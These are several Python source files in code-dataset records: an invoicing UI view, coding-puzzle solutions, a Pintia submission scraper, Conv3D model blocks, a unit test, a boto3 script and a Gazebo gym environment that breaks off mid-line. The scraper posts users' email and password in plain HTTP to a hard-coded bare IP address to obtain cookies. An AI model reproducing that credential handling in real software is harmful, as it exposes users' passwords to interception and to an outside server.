\"\n \"Please do so in the profile section\",\n is_error=True,\n )\n return True\n if self.user.bank_account_not_set:\n self.show_snack(\n \"You have not set up your payment information yet. \"\n \"Please do so in the profile section\",\n is_error=True,\n )\n return True\n return False\n\n def parent_intent_listener(self, intent: str, data: any):\n \"\"\"Handles the intent from the parent view\"\"\"\n if intent == res_utils.CREATE_INVOICE_INTENT:\n # create a new invoice\n if self.is_user_missing_payment_info():\n return # can't create invoice without payment info\n if self.time_tracking_data is None:\n self.show_snack(\n \"You need to import time tracking data before invoices can be created.\",\n is_error=True,\n )\n return # can't create invoice without time tracking data\n if self.editor is not None:\n self.editor.close_dialog()\n self.editor = InvoicingEditorPopUp(\n dialog_controller=self.dialog_controller,\n on_submit=self.on_save_invoice,\n projects_map=self.active_projects,\n )\n self.editor.open_dialog()\n\n elif intent == res_utils.RELOAD_INTENT:\n # reload the data\n self.initialize_data()\n\n def refresh_invoices(self):\n \"\"\"Refreshes the invoices\"\"\"\n self.invoices_list_control.controls.clear()\n for key in self.invoices_to_display:\n try:\n invoice = self.invoices_to_display[key]\n invoiceItemControl = InvoiceTile(\n invoice=invoice,\n on_delete_clicked=self.on_delete_invoice_clicked,\n on_mail_invoice=self.on_mail_invoice,\n on_view_invoice=self.on_view_invoice,\n on_view_timesheet=self.on_view_timesheet,\n toggle_paid_status=self.toggle_paid_status,\n toggle_cancelled_status=self.toggle_cancelled_status,\n toggle_sent_status=self.toggle_sent_status,\n )\n except Exception as ex:\n logger.error(f\"Error while refreshing invoice: {ex}\")\n logger.exception(ex)\n invoiceItemControl = ListTile(\n title=\"Error while refreshing invoice\",\n )\n finally:\n self.invoices_list_control.controls.append(invoiceItemControl)\n\n def on_mail_invoice(self, invoice: Invoice):\n \"\"\"Called when the user clicks send in the context menu of an invoice\"\"\"\n result = self.intent.send_invoice_by_mail(invoice)\n if not result.was_intent_successful:\n self.show_snack(result.error_msg, is_error=True)\n\n def on_view_invoice(self, invoice: Invoice):\n \"\"\"Called when the user clicks view in the context menu of an invoice\"\"\"\n result = self.intent.view_invoice(invoice)\n if not result.was_intent_successful:\n self.show_snack(result.error_msg, is_error=True)\n\n def on_view_timesheet(self, invoice: Invoice):\n \"\"\"Called when the user clicks view in the context menu of an invoice\"\"\"\n result = self.intent.view_timesheet_for_invoice(invoice)\n if not result.was_intent_successful:\n self.show_snack(result.error_msg, is_error=True)\n\n def on_delete_invoice_clicked(self, invoice: Invoice):\n \"\"\"Called when the user clicks delete in the context menu of an invoice\"\"\"\n if self.editor is not None:\n self.editor.close_dialog()\n self.editor = views.ConfirmDisplayPopUp(\n dialog_controller=self.dialog_controller,\n title=\"Are You Sure?\",\n description=f\"Are you sure you wish to delete this invoice?\\nInvoice number: {invoice.number}\",\n on_proceed=self.on_delete_confirmed,\n proceed_button_label=\"Yes! Delete\",\n data_on_confirmed=invoice.id,\n )\n self.editor.open_dialog()\n\n def on_delete_confirmed(self, invoice_id):\n \"\"\"Called when the user confirms the deletion of an invoice\"\"\"\n self.loading_indicator.visible = True\n self.update_self()\n result = self.intent.delete_invoice_by_id(invoice_id)\n is_error = not result.was_intent_successful\n msg = result.error_msg if is_error else \"Invoice deleted!\"\n self.show_snack(msg, is_error)\n if not is_error and invoice_id in self.invoices_to_display:\n del self.invoices_to_display[invoice_id]\n self.refresh_invoices()\n self.loading_indicator.visible = False\n self.update_self()\n\n def on_save_invoice(\n self,\n invoice: Invoice,\n project: Project,\n from_date: Optional[datetime.date],\n to_date: Optional[datetime.date],\n ):\n \"\"\"Called when the user clicks on the submit button in the editor\"\"\"\n if not invoice:\n return # this should never happen\n\n if not project:\n self.show_snack(\"Please specify the project\")\n return\n\n if not from_date or not to_date:\n self.show_snack(\"Please specify the date range\")\n return\n\n if to_date < from_date:\n self.show_snack(\"The start date cannot be after the end date\")\n return\n\n is_updating = invoice.id is not None\n self.loading_indicator.visible = True\n self.update_self()\n if is_updating:\n # update the invoice\n result: IntentResult = self.intent.update_invoice(invoice=invoice)\n else:\n # create a new invoice\n result: IntentResult = self.intent.create_invoice(\n invoice_date=invoice.date,\n project=project,\n from_date=from_date,\n to_date=to_date,\n )\n\n if not result.was_intent_successful:\n self.show_snack(result.error_msg, True)\n else:\n self.update_invoice_from_intent_result(result)\n msg = (\n \"The invoice has been updated\"\n if is_updating\n else \"A new invoice has been created\"\n )\n self.show_snack(msg, False)\n self.loading_indicator.visible = False\n self.update_self()\n\n def toggle_paid_status(self, invoice: Invoice):\n \"\"\"toggle the paid status of the invoice\"\"\"\n result: IntentResult = self.intent.toggle_invoice_paid_status(invoice)\n is_error = not result.was_intent_successful\n msg = result.error_msg if is_error else \"Invoice status updated.\"\n self.show_snack(msg, is_error)\n if not is_error and result.data:\n self.update_invoice_from_intent_result(result)\n self.update_self()\n\n def toggle_sent_status(self, invoice: Invoice):\n \"\"\"toggle the sent status of the invoice\"\"\"\n result: IntentResult = self.intent.toggle_invoice_sent_status(invoice)\n is_error = not result.was_intent_successful\n msg = result.error_msg if is_error else \"Invoice status updated.\"\n self.show_snack(msg, is_error)\n if not is_error and result.data:\n self.update_invoice_from_intent_result(result)\n self.update_self()\n\n def update_invoice_from_intent_result(self, result: IntentResult[Invoice]):\n \"\"\"update the invoice from an intent result data\"\"\"\n # update the invoice\n updated_invoice: Invoice = result.data\n self.invoices_to_display[updated_invoice.id] = updated_invoice\n self.refresh_invoices()\n\n def toggle_cancelled_status(self, invoice: Invoice):\n \"\"\"toggle the cancelled status of the invoice\"\"\"\n result: IntentResult = self.intent.toggle_invoice_cancelled_status(invoice)\n is_error = not result.was_intent_successful\n msg = result.error_msg if is_error else \"Invoice status updated.\"\n self.show_snack(msg, is_error)\n if not is_error and result.data:\n self.update_invoice_from_intent_result(result)\n self.update_self()\n\n def did_mount(self):\n \"\"\"Called when the view is mounted\"\"\"\n self.initialize_data()\n\n def initialize_data(self):\n \"\"\"initialize the data for the view\"\"\"\n self.mounted = True\n self.loading_indicator.visible = True\n self.active_projects = self.intent.get_active_projects_as_map()\n self.time_tracking_data = self.intent.get_time_tracking_data_as_dataframe()\n self.load_user_data()\n self.invoices_to_display = self.intent.get_all_invoices_as_map()\n count = len(self.invoices_to_display)\n self.loading_indicator.visible = False\n if count == 0:\n self.no_invoices_control.visible = True\n else:\n self.refresh_invoices()\n self.update_self()\n\n def build(self):\n \"\"\"build the view\"\"\"\n self.loading_indicator = views.TProgressBar()\n self.no_invoices_control = views.TBodyText(\n txt=\"You have not created any invoices yet\",\n show=False,\n )\n self.title_control = ResponsiveRow(\n controls=[\n Column(\n col={\"xs\": 12},\n controls=[\n views.THeading(title=\"Invoicing\", size=fonts.HEADLINE_4_SIZE),\n self.loading_indicator,\n self.no_invoices_control,\n ],\n )\n ]\n )\n self.invoices_list_control = ListView(\n expand=False,\n spacing=dimens.SPACE_STD,\n )\n return Column(\n controls=[\n self.title_control,\n views.Spacer(md_space=True),\n Container(self.invoices_list_control, expand=True),\n ],\n )\n\n def will_unmount(self):\n self.mounted = False\n if self.editor:\n self.editor.dimiss_open_dialogs()\n\n\nclass InvoiceTile(UserControl):\n \"\"\"\n A UserControl that formats an invoice object as a list tile for display in the UI\n \"\"\"\n\n def __init__(\n self,\n invoice: Invoice,\n on_delete_clicked,\n on_mail_invoice,\n on_view_invoice,\n on_view_timesheet,\n toggle_paid_status,\n toggle_sent_status,\n toggle_cancelled_status,\n ):\n super().__init__()\n self.invoice = invoice\n self.on_delete_clicked = on_delete_clicked\n self.on_view_invoice = on_view_invoice\n self.on_view_timesheet = on_view_timesheet\n self.on_mail_invoice = on_mail_invoice\n self.toggle_paid_status = toggle_paid_status\n self.toggle_sent_status = toggle_sent_status\n self.toggle_cancelled_status = toggle_cancelled_status\n\n def build(self):\n \"\"\"\n Build and return a ListTile displaying the invoice information\n \"\"\"\n _project_title = \"\"\n if self.invoice.project:\n _project_title = self.invoice.project.title\n _currency = \"\"\n if self.invoice.contract:\n _currency = self.invoice.contract.currency\n _client_name = \"\"\n if self.invoice.contract and self.invoice.contract.client:\n _client_name = self.invoice.contract.client.name\n return ListTile(\n leading=views.TBodyText(self.invoice.number),\n title=views.TBodyText(f\"{_project_title} ➡ {_client_name}\"),\n subtitle=Column(\n controls=[\n views.TBodyText(\n f'Invoice Date: {self.invoice.date.strftime(\"%d-%m-%Y\")}'\n ),\n Row(\n controls=[\n views.TBodyText(\n f\"Total: {self.invoice.total:.2f} {_currency}\"\n ),\n views.TStatusDisplay(txt=\"Paid\", is_done=self.invoice.paid),\n views.TStatusDisplay(\n txt=\"Cancelled\", is_done=self.invoice.cancelled\n ),\n views.TStatusDisplay(txt=\"Sent\", is_done=self.invoice.sent),\n ]\n ),\n ]\n ),\n trailing=views.TContextMenu(\n on_click_delete=lambda e: self.on_delete_clicked(self.invoice),\n prefix_menu_items=[\n views.TPopUpMenuItem(\n icon=icons.HOURGLASS_BOTTOM_OUTLINED,\n txt=\"Mark as sent\"\n if not self.invoice.sent\n else \"Mark as not sent\",\n on_click=lambda e: self.toggle_sent_status(\n self.invoice,\n ),\n ),\n views.TPopUpMenuItem(\n icon=icons.ATTACH_MONEY_OUTLINED,\n txt=\"Mark as paid\"\n if not self.invoice.paid\n else \"Mark as not paid\",\n on_click=lambda e: self.toggle_paid_status(self.invoice),\n ),\n views.TPopUpMenuItem(\n icon=icons.CANCEL_OUTLINED,\n txt=\"Mark as cancelled\"\n if not self.invoice.cancelled\n else \"Mark as not cancelled\",\n on_click=lambda e: self.toggle_cancelled_status(self.invoice),\n ),\n views.TPopUpMenuItem(\n icon=icons.VISIBILITY_OUTLINED,\n txt=\"View\",\n on_click=lambda e: self.on_view_invoice(self.invoice),\n ),\n views.TPopUpMenuItem(\n icon=icons.VISIBILITY_OUTLINED,\n txt=\"View Timesheet \",\n on_click=lambda e: self.on_view_timesheet(self.invoice),\n ),\n views.TPopUpMenuItem(\n icon=icons.OUTGOING_MAIL,\n txt=\"Send\",\n on_click=lambda e: self.on_mail_invoice(self.invoice),\n ),\n ],\n ),\n )\n","repo_name":"tuttle-dev/tuttle","sub_path":"tuttle/app/invoicing/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":20522,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"67"} +{"seq_id":"21129228148","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def deleteDuplicates(self, head: ListNode) -> ListNode:\n dummy = ListNode(None, head)\n pre, cur = dummy, head\n while cur:\n if cur.next and cur.val == cur.next.val:\n val_to_rm = cur.val\n while cur and cur.val == val_to_rm:\n cur = cur.next\n # not cur or cur is start non-dup sublist\n pre.next = cur\n else:\n pre, cur = cur, cur.next\n return dummy.next","repo_name":"fxrcode/FG","sub_path":"82-remove-duplicates-from-sorted-list-ii/82-remove-duplicates-from-sorted-list-ii.py","file_name":"82-remove-duplicates-from-sorted-list-ii.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"33603102329","text":"import datetime\nimport json\nimport time\n\nimport requests\n\nfrom app.config.setting import DEFAULT_PROBLEM_RATING\nfrom app.libs.cookie import Cookie\nfrom app.libs.helper import datetime_to_str, str_to_datetime\nfrom app.libs.spider_http import SpiderHttp\nfrom app.spiders.base_spider import BaseSpider\n\n\nclass PintiaHttp(SpiderHttp):\n def __init__(self):\n super().__init__()\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',\n 'Accept': 'application/json;charset=UTF-8'\n }\n self.headers.update(headers)\n\n @staticmethod\n def _end_request(res, encoding):\n time.sleep(2)\n return res\n\n\nclass PintiaSpider(BaseSpider):\n problem_set = [\n ('91827364500', 'Z'), # ZOJ\n ('994805046380707840', 'L'), # 天梯赛\n ('994805148990160896', 'T'), # 顶级\n ('994805342720868352', 'A'), # 甲级\n ('994805260223102976', 'B'), # 乙级\n ]\n\n def __init__(self):\n self.pintia_http = PintiaHttp()\n\n def get_user_info(self, oj_username, accept_problems):\n username = oj_username.oj_username\n password = oj_username.oj_password\n try:\n cookie = json.loads(oj_username.oj_cookies)\n headers = {\n 'Cookie': Cookie.dict_to_str(cookie)\n }\n self.pintia_http.headers.update(headers)\n assert self.check_login_status() == username\n except:\n try:\n cookie = self._get_cookies(username, password)\n except:\n return {'success': False, 'data': []}\n headers = {\n 'Cookie': Cookie.dict_to_str(cookie)\n }\n self.pintia_http.headers.update(headers)\n assert self.check_login_status() == username\n\n oj_username.modify(oj_cookies=json.dumps(cookie, sort_keys=True))\n\n self.check_in()\n\n accept_problem_list = []\n\n for problem_set_id, tag in self.problem_set:\n url = 'https://pintia.cn/api/problem-sets/{}/exams'.format(problem_set_id)\n res = self.pintia_http.get(url=url).json()\n try:\n exam_id = res['exam']['id']\n except:\n continue\n url = 'https://pintia.cn/api/valid-submissions?exam_id={}'.format(exam_id)\n res = self.pintia_http.get(url=url).json()\n try:\n submissions = res['submissions']\n except:\n return {'success': False, 'data': []}\n for submission in submissions:\n if submission['status'] != 'ACCEPTED':\n continue\n accept_time = submission['submitAt'].replace('T', ' ').replace('Z', '')\n accept_time = datetime_to_str(str_to_datetime(accept_time) + datetime.timedelta(hours=8))\n pid = submission['problemSetProblem']['label']\n if tag == 'Z':\n problem_id = pid\n if accept_problems.get('zoj-' + problem_id) == accept_time:\n continue\n accept_problem_list.append({\n 'oj': 'zoj',\n 'problem_pid': problem_id,\n 'accept_time': accept_time\n })\n else:\n problem_id = '{}-{}'.format(tag, pid)\n if accept_problems.get('pintia-' + problem_id) == accept_time:\n continue\n accept_problem_list.append({\n 'oj': 'pintia',\n 'problem_pid': problem_id,\n 'accept_time': accept_time\n })\n\n return {'success': True, 'data': accept_problem_list}\n\n def get_problem_info(self, problem_id):\n return {'rating': DEFAULT_PROBLEM_RATING}\n\n def check_login_status(self):\n url = 'https://pintia.cn/api/u/current'\n res = self.pintia_http.get(url=url).json()\n if not res.get('user'):\n return None\n return res['user']['email']\n\n @staticmethod\n def _get_cookies(email, password):\n url = 'http://121.40.130.181:5000/api/get-pta-cookies'\n res = requests.post(url=url, timeout=300, data={\n 'username': email,\n 'password': password\n }).json()\n if res.get('status') != 'ok':\n raise Exception(res.get('error'))\n return Cookie.str_to_dict(res['result'])\n\n def check_in(self):\n url = 'https://pintia.cn/api/users/checkin'\n res = self.pintia_http.post(url=url).json()\n print(res)\n","repo_name":"zucc-acm-devteam/view-oj-backend","sub_path":"app/spiders/pintia_spider.py","file_name":"pintia_spider.py","file_ext":"py","file_size_in_byte":4715,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"29157702549","text":"import torch\nimport torch.nn as nn\n\n\ndef normalize(dim, groups=32):\n return nn.GroupNorm(min(groups, max(1, dim//8)), dim, eps=1e-6)\n\ndef activation():\n return nn.SiLU()\n\ndef spatial_conv(dim, out_dim=None, k=3, s=1, mode='replicate'):\n return nn.Conv3d(dim, out_dim or dim, (1,k,k), s, (0,k//2,k//2), padding_mode=mode)\n\ndef temporal_conv(dim, out_dim=None, k=3, s=1, mode='replicate'):\n return nn.Conv3d(dim, out_dim or dim, (k,1,1), s, (k//2,0,0), padding_mode=mode)\n\n\nclass ResBlock(nn.Module):\n def __init__(self, dim, out_dim=None, k=3, s=1, p=1, padmode='replicate'):\n super().__init__()\n out_dim = out_dim or dim\n self.block1 = nn.Sequential(\n normalize(dim),\n activation(),\n nn.Conv3d(dim, out_dim, k, s, p, padding_mode=padmode),\n )\n self.block2 = nn.Sequential(\n normalize(out_dim),\n activation(),\n nn.Conv3d(out_dim, out_dim, k, s, p, padding_mode=padmode)\n )\n self.skip = nn.Identity() if dim == out_dim else nn.Conv3d(dim, out_dim, 1)\n\n def forward(self, x):\n h = self.block1(x)\n h = self.block2(h)\n return h + self.skip(x)\n\n\nclass LegacyResBlock(nn.Module):\n def __init__(self, dim, out_dim=None, k=3, s=1, p=1, padmode='replicate'):\n super().__init__()\n out_dim = out_dim or dim\n self.block1 = nn.Sequential(\n nn.Conv3d(dim, out_dim, k, s, p, padding_mode=padmode),\n normalize(out_dim),\n activation(),\n )\n self.block2 = nn.Sequential(\n nn.Conv3d(out_dim, out_dim, k, s, p, padding_mode=padmode),\n normalize(out_dim),\n activation(),\n )\n self.skip = nn.Identity() if dim == out_dim else nn.Conv3d(dim, out_dim, 1)\n\n def forward(self, x):\n h = self.block1(x)\n h = self.block2(h)\n return h + self.skip(x)\n \n\nclass PseudoBlcok(nn.Module):\n def __init__(self, dim, out_dim=None, k=3, s=1, p=1, padmode='replicate'):\n super().__init__()\n out_dim = out_dim or dim\n self.block1 = nn.Sequential(\n normalize(dim),\n activation(),\n nn.Conv3d(dim, out_dim, (1, k, k), s, (0, p, p), padding_mode=padmode),\n normalize(out_dim),\n activation(),\n nn.Conv3d(out_dim, out_dim, (k, 1, 1), s, (p, 0, 0), padding_mode=padmode),\n )\n self.block2 = nn.Sequential(\n normalize(out_dim),\n activation(),\n nn.Conv3d(out_dim, out_dim, (1, k, k), s, (0, p, p), padding_mode=padmode),\n normalize(out_dim),\n activation(),\n nn.Conv3d(out_dim, out_dim, (k, 1, 1), s, (p, 0, 0), padding_mode=padmode),\n )\n self.skip = nn.Identity() if dim == out_dim else nn.Conv3d(dim, out_dim, 1)\n\n def forward(self, x):\n h = self.block1(x)\n h = self.block2(h)\n return h + self.skip(x)\n\n\nclass ConvBlock(nn.Module):\n def __init__(self, dim, out_dim=None, k=3, s=1, conv='3d', padmode='replicate'):\n super().__init__()\n convs = ('spatial', 'temporal', '3d')\n assert conv in convs, f'Supported convs are {convs}'\n\n out_dim = out_dim or dim\n self.norm = normalize(dim)\n self.silu = activation()\n\n if conv == 'spatial':\n self.conv = spatial_conv(dim, out_dim, k, s, mode=padmode)\n elif conv == 'temporal':\n self.conv = temporal_conv(dim, out_dim, k, s, mode=padmode)\n else:\n self.conv = nn.Conv3d(dim, out_dim, k, s, k//2, padding_mode=padmode)\n\n def forward(self, x):\n return self.conv(self.silu(self.norm(x)))\n\n\nclass STDCBlock(nn.Module):\n def __init__(self, dim, out_dim, n_blocks=4, s=1):\n super().__init__()\n self.stride = s\n blocks = []\n for i in range(n_blocks):\n if i == 0:\n blocks.append(ConvBlock(dim, out_dim//2, k=1))\n elif i == 1 and n_blocks == 2:\n blocks.append(ConvBlock(out_dim//2, out_dim//2, s=s))\n elif i == 1 and n_blocks > 2:\n blocks.append(ConvBlock(out_dim//2, out_dim//4, s=s))\n elif i < n_blocks - 1:\n blocks.append(ConvBlock(out_dim//(2**i), out_dim//(2**(i+1))))\n else:\n blocks.append(ConvBlock(out_dim//(2**i), out_dim//(2**i)))\n\n self.blocks = nn.ModuleList(blocks)\n\n def forward(self, x):\n outs = []\n for i, block in enumerate(self.blocks):\n x = block(x)\n outs.append(x)\n\n return torch.cat(outs, dim=1)\n\n\nclass TwistedBlock(nn.Module):\n def __init__(self, dim, out_dim, n_blocks=4):\n super().__init__()\n assert out_dim%2 == 0, 'out_dim must be divisible by 2'\n out_dim //= 2\n blocks1 = [ConvBlock(dim, out_dim//2, k=1, conv='spatial')]\n blocks2 = [ConvBlock(dim, out_dim//2, k=1, conv='temporal')]\n conv_types = ['spatial', 'temporal']\n\n for i in range(1, n_blocks):\n type1, type2 = conv_types[i%2], conv_types[(i+1)%2]\n if i < n_blocks - 1:\n in_d, out_d = out_dim//(2**i), out_dim//(2**(i+1))\n blocks1.append(ConvBlock(in_d, out_d, conv=type1))\n blocks2.append(ConvBlock(in_d, out_d, conv=type2))\n else:\n d = out_dim // (2**i)\n blocks1.append(ConvBlock(d, conv=type1))\n blocks2.append(ConvBlock(d, conv=type2))\n\n self.blocks1 = nn.ModuleList(blocks1)\n self.blocks2 = nn.ModuleList(blocks2)\n\n def forward(self, x):\n outs = []\n h1 = x\n h2 = x\n for block1, block2 in zip(self.blocks1, self.blocks2):\n h1 = block1(h1)\n h2 = block2(h2)\n outs.extend([h1, h2])\n return torch.cat(outs, dim=1)\n\n\nclass ActionClassifier(nn.Module):\n def __init__(self, block_type='res', ch=3, dims=(64, 128, 256, 512), classes=10):\n super().__init__()\n if block_type == 'res':\n block = ResBlock\n elif block_type == 'legacy':\n block = LegacyResBlock\n elif block_type == 'pseudo':\n block = PseudoBlcok\n elif block_type == 'stdc':\n block = STDCBlock\n elif block_type == 'twisted':\n block = TwistedBlock\n \n self.init_conv = nn.Conv3d(ch, dims[0], 3, 1, 1, padding_mode='replicate')\n in_dim = dims[0]\n layers = []\n for i, dim in enumerate(dims):\n layers.append(block(in_dim, dim))\n layers.append(block(dim, dim))\n if i < len(dims) - 1:\n layers.append(nn.AvgPool3d(2, 2))\n else:\n layers.append(nn.AdaptiveAvgPool3d(1))\n in_dim = dim\n layers.append(nn.Flatten())\n layers.append(nn.Linear(in_dim, classes))\n self.layers = nn.Sequential(*layers)\n\n def forward(self, x):\n x = self.init_conv(x)\n return self.layers(x)\n\n\nif __name__ == '__main__':\n a = torch.rand(2, 3, 32, 64, 64)\n types = ['res', 'legacy', 'pseudo', 'stdc', 'twisted']\n models = {t: ActionClassifier(t) for t in types}\n print(f'input shape, {a.shape}')\n for t, m in models.items():\n out = m(a)\n print(f'block_type: {t}, Params: {sum(p.numel() for p in m.parameters() if p.requires_grad) // 1000}K')\n\n","repo_name":"srpkdyy/comparison-of-conv3d","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10207413890","text":"\"\"\"\n@brief test log(time=16s)\n\"\"\"\nimport os\nimport unittest\nfrom logging import getLogger\nfrom pandas import DataFrame\nfrom pyquickhelper.loghelper import fLOG\nfrom pyquickhelper.pycode import (\n get_temp_folder, ExtTestCase, skipif_appveyor)\nfrom sklearn.exceptions import ConvergenceWarning\ntry:\n from sklearn.utils._testing import ignore_warnings\nexcept ImportError:\n from sklearn.utils.testing import ignore_warnings\nfrom mlprodict.onnxrt.validate import (\n sklearn_operators, enumerate_validated_operator_opsets,\n summary_report)\n\n\nclass TestOnnxrtValidateOnnxRuntime1(ExtTestCase):\n\n def test_sklearn_operators(self):\n res = sklearn_operators()\n self.assertGreater(len(res), 1)\n self.assertEqual(len(res[0]), 4)\n\n @skipif_appveyor(\"crashes\")\n @ignore_warnings(category=(UserWarning, ConvergenceWarning, RuntimeWarning))\n def test_validate_sklearn_operators_all_onnxruntime1(self):\n fLOG(__file__, self._testMethodName, OutputPrint=__name__ == \"__main__\")\n logger = getLogger('skl2onnx')\n logger.disabled = True\n verbose = 1 if __name__ == \"__main__\" else 0\n temp = get_temp_folder(\n __file__, \"temp_validate_sklearn_operators_all_onnxruntime1\")\n if False: # pylint: disable=W0125\n rows = list(enumerate_validated_operator_opsets(\n verbose, models={\"GradientBoostingRegressor\"},\n fLOG=fLOG,\n runtime='onnxruntime1', debug=True))\n else:\n rows = []\n for row in enumerate_validated_operator_opsets(\n verbose, debug=None, fLOG=fLOG, runtime='onnxruntime1',\n dump_folder=temp, skip_models={\"GaussianProcessRegressor\"}):\n rows.append(row)\n if len(rows) > 20:\n break\n\n self.assertGreater(len(rows), 1)\n df = DataFrame(rows)\n self.assertGreater(df.shape[1], 1)\n fLOG(\"output results\")\n df.to_csv(os.path.join(temp, \"sklearn_opsets_report.csv\"), index=False)\n df.to_excel(os.path.join(\n temp, \"sklearn_opsets_report.xlsx\"), index=False)\n piv = summary_report(df)\n piv.to_excel(os.path.join(\n temp, \"sklearn_opsets_summary.xlsx\"), index=False)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"sdpython/mlprodict","sub_path":"_unittests/ut_onnxrt/test_onnxrt_validate_onnxruntime1.py","file_name":"test_onnxrt_validate_onnxruntime1.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"67"} +{"seq_id":"38562074291","text":"import boto3\nimport time\n\naws_console = boto3.session.Session(profile_name='botoUser')\n\nec2 = aws_console.resource(service_name='ec2', region_name='us-east-1')\n\n#ec2_client = aws_console.client(service_name='ec2', region_name='us-east-1')\n#===========================================================================\n\n\nmy_instance = ec2.Instance('i-0eb039bae19a82184')\n# print(dir(my_instance))\nprint (\"Starying Instance ...... \")\nmy_instance.start()\nmy_instance.wait_until_running() # there is a method under isntance that will wait. You can list is using dir option\nprint(\"Now my isntance is up and running\") ","repo_name":"AlCode88/01-boto3-lambda-repo","sub_path":"02-project-boto-lambda-examples/Session/Waiter/2_resource_waiter.py","file_name":"2_resource_waiter.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28558281786","text":"s = ''\n\nwhile True:\n s += input()\n if s[-5:]=='E-N-D':\n s = s[:-5]\n break\n\ns = ''.join(map(lambda x: x if ord('a')<=ord(x)<=ord('z') or x=='-' else ' ', s.lower()))\nprint(max(s.split(), key=lambda x:len(x)))\n","repo_name":"NeoMindStd/CodingLife","sub_path":"baekjoon/5637py/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"36156517723","text":"\nimport cv2\nimport gym\nimport math\nimport rospy\nimport roslaunch\nimport time\nimport numpy as np\n\nfrom cv_bridge import CvBridge, CvBridgeError\nfrom gym import utils, spaces\nfrom gym_gazebo.envs import gazebo_env\nfrom geometry_msgs.msg import Twist\nfrom std_srvs.srv import Empty\n\nfrom sensor_msgs.msg import Image\nfrom time import sleep\n\nfrom gym.utils import seeding\n\n\nclass Gazebo_Linefollow_Env(gazebo_env.GazeboEnv):\n\n def __init__(self):\n # Launch the simulation with the given launchfile name\n LAUNCH_FILE = '/home/fizzer/enph353_gym-gazebo-noetic/gym_gazebo/envs/ros_ws/src/linefollow_ros/launch/linefollow_world.launch'\n gazebo_env.GazeboEnv.__init__(self, LAUNCH_FILE)\n self.vel_pub = rospy.Publisher('/cmd_vel', Twist, queue_size=1)\n self.unpause = rospy.ServiceProxy('/gazebo/unpause_physics', Empty)\n self.pause = rospy.ServiceProxy('/gazebo/pause_physics', Empty)\n self.reset_proxy = rospy.ServiceProxy('/gazebo/reset_world',\n Empty)\n\n self.action_space = spaces.Discrete(3) # F,L,R\n self.reward_range = (-np.inf, np.inf)\n self.episode_history = []\n\n self._seed()\n\n self.bridge = CvBridge()\n self.timeout = 0 # Used to keep track of images with no line detected\n\n\n def process_image(self, data):\n '''\n @brief Coverts data into a opencv image and displays it\n @param data : Image data from ROS\n\n @retval (state, done)\n '''\n try:\n cv_image = self.bridge.imgmsg_to_cv2(data, \"bgr8\")\n except CvBridgeError as e:\n print(e)\n\n cv2.imshow(\"raw\", cv_image)\n\n NUM_BINS = 3\n state = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n done = False\n\n # TODO: Analyze the cv_image and compute the state array and\n # episode termination condition.\n #\n # The state array is a list of 10 elements indicating where in the\n # image the line is:\n # i.e.\n # [1, 0, 0, 0, 0, 0, 0, 0, 0, 0] indicates line is on the left\n # [0, 0, 0, 0, 1, 0, 0, 0, 0, 0] indicates line is in the center\n #\n # The episode termination condition should be triggered when the line\n # is not detected for more than 30 frames. In this case set the done\n # variable to True.\n #\n # You can use the self.timeout variable to keep track of which frames\n # have no line detected.\n\n # Convert the frame to HSV color space\n\n hsv_frame = cv2.cvtColor(cv_image, cv2.COLOR_BGR2HSV)\n\n # Define the lower and upper HSV thresholds for the road color\n lower_color = np.array([25, 25, 25], dtype=np.uint8)\n upper_color = np.array([200, 200, 200], dtype=np.uint8)\n # Create a binary mask based on the color thresholds\n mask = cv2.inRange(hsv_frame, lower_color, upper_color)\n\n # Apply the mask to the original frame\n masked_frame = cv2.bitwise_and(cv_image, cv_image, mask=mask)\n gray_masked_frame = cv2.cvtColor(masked_frame, cv2.COLOR_BGR2GRAY)\n\n contours, _ = cv2.findContours(gray_masked_frame, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n largest_contour = None\n road_center = None\n for contour in contours: \n if largest_contour is None or (cv2.contourArea(contour) > cv2.contourArea(largest_contour)):\n largest_contour = contour\n #or use list comprehension\n\n framewidth = cv_image.shape[1]\n\n\n if largest_contour is not None:\n M = cv2.moments(largest_contour)\n if M[\"m00\"] != 0:\n cx = int(M[\"m10\"] / M[\"m00\"])\n cy = int(M[\"m01\"] / M[\"m00\"])\n road_center = (cx, cy)\n print('*******CX:',cx)\n i = int((10*cx)/(framewidth))\n print('**********i:', i)\n state[i] = 1\n print(state)\n else:\n self.timeout += 1\n\n if(self.timeout >= 30):\n done = True\n \n\n \n\n\n \n\n return state, done\n\n def _seed(self, seed=None):\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n\n def step(self, action):\n rospy.wait_for_service('/gazebo/unpause_physics')\n try:\n self.unpause()\n except (rospy.ServiceException) as e:\n print (\"/gazebo/unpause_physics service call failed\")\n\n self.episode_history.append(action)\n\n vel_cmd = Twist()\n\n if action == 0: # FORWARD\n vel_cmd.linear.x = 0.4\n vel_cmd.angular.z = 0.0\n elif action == 1: # LEFT\n vel_cmd.linear.x = 0.0\n vel_cmd.angular.z = 0.5\n elif action == 2: # RIGHT\n vel_cmd.linear.x = 0.0\n vel_cmd.angular.z = -0.5\n\n self.vel_pub.publish(vel_cmd)\n\n data = None\n while data is None:\n try:\n data = rospy.wait_for_message('/pi_camera/image_raw', Image,\n 